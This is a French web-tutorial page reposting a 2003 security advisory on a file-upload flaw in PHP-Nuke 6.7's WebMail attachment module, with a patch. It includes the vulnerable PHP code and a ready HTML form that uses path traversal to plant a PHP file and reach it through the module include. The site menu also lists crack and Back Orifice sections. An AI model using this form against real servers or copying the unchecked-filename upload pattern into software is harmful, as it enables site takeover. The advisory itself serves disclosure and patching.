Bienvenue sur horslimite.net
Ce site vous propose tutoriels de programmations (php javascript ...) forum compteur de connectés, compteur de visites, script php, téléchargement de logiciel, Blog etc...
 
aide webmastering webmaster compteur forum Menu
home
  • News
  • Recherche
  • Téléchargement
  • Statistiques
  • Tutoriels      
  • PHP     
  • JavaScript     
  • Crack
  • Linux     
  • Back orifice
  • Faille include (php)
  • Membre      
  • Inscription
  • Liste des membres
  • Votre profil
  • Compteur de visites
  • Compteur de connectés
  • Votre carte membre
  • Messagerie interne
  • Blog
  • Service      
  • Whois
  • Header d\\\\'une page
  • Obtenir une IP
  • Générateur de méta-tags
  • Forum



    Votez pour ce site au Weborama
    > tutoriel > exploit > PHP-Nukev6.7


    PHP-Nukev6.7

    PHP-Nuke 6.7
    ************
    Informations :
    °°°°°°°°°°°°°°
    Langage : PHP
    Version : 6.7
    Website : http://www.php-nuke.org
    Problème : Upload de fichiers

    Developpement :
    °°°°°°°°°°°°°°°
    Dans l'adviso de Lorenzo Hernandez Garcia-Hierro sur BugTraq (http://www.securityfocus.com/archive/1/313583), on voit
    deux possibilités d'utiliser la fonction copy() du fichier modules/WebMail/mailattach.php. Le code a été changé
    pour boucher ces deux failles, ce qui donne le code :
    -----------------------------------------------------------------------------------------------------------------------------
    modules/WebMail/mailattach.php
    if (isset($userfile) AND $userfile != "none" AND !ereg("/", $userfile) AND !ereg("\.\.", $userfile) AND !ereg("%", $userfile)) {
    if (ini_get(file_uploads) AND $attachments == 1) {
    $updir = "tmp";
    @copy($userfile, "$updir/$userfile_name");
    @unlink($userfile);
    }
    }
    -----------------------------------------------------------------------------------------------------------------------------
    Les différentes conditions fixées sont les suivantes :
    - $userfile ne doit pas être vide
    - $userfile ne doit pas contenir de caractère /
    - $userfile ne doit pas contenir de caractères ..
    - $userfile ne doit pas contenir de caractère %
    - file_uploads doit être sur ON dans le php.ini
    - $attachments doit valoir 1
    Aucune vérification n'est faites sur la variable $userfile_name, qui est le nom du fichier.
    Les fichiers sont normalements copiés dans /modules/WebMail/tmp/. Mais maintenant, on peut définir le path et le nom
    du nouveau fichier, qui vient de notre ordinateur.
    En effet si on utilise par exemple le formulaire :
    -----------------------------------------------------------------------------------------------------------------------------
    <form action="http://[target]/modules/WebMail/mailattach.php?userfile_name=../../AvantGo/language/bad.php" method="POST" ENCTYPE="multipart/form-data">
    <input type="hidden" name="attachments" value="1">
    <input type="file" name="userfile"><br>
    <input type="submit" name="Send File>
    </form>
    -----------------------------------------------------------------------------------------------------------------------------
    et qu'on upload le fichier "c:\test.txt", il sera expédié à l'url :
    http://[target]/modules/AvantGo/language/bad.php.
    J'ai choisi ce chemins car de cette façon, même s'il y a des .htaccess interdisant l'accès à ce dossier, on peut y accèder
    grâce à l'url http://[target]/modules.php?name=AvantGo&file=langague/bad car on y voit le code :
    ---------------------------------------------------------------
    $modpath .= "modules/$name/$file.php";
    if (file_exists($modpath)) {
    include($modpath);
    } else {
    die ("Sorry, such file doesn't exist...");
    }
    ---------------------------------------------------------------

    Solution :
    °°°°°°°°°°
    Un patch est disponible sur http://www.phpsecure.info, ainsi que pour la version FR, également buggée.
    Il suffit de mettre, dans le fichier /modules/WebMail/mailattach.php, juste après la ligne :
    -----------------------------------------------------------------------------------------------------------------------------
    if (isset($userfile) AND $userfile != "none" AND !ereg("/", $userfile) AND !ereg("\.\.", $userfile) AND !ereg("%", $userfile)) {
    -----------------------------------------------------------------------------------------------------------------------------
    les lignes :
    -------------------------------------------
    if (isset($_REQUEST["userfile_name"])){
    die("Don\'t do it :)");
    }
    -------------------------------------------
    L'auteur a été prévenu il y a plus d'un mois, mais n'a pas réagit.

    Credits :
    °°°°°°°°°
    Auteur : frog-m@n
    E-mail : leseulfrog@hotmail.com
    Website : http://www.phpsecure.info
    Date : 15/09/03

    Copyright frog-m@n http://www.phpsecure.info/v2/zone/pArticle
     
    page générée en 66 millisecondes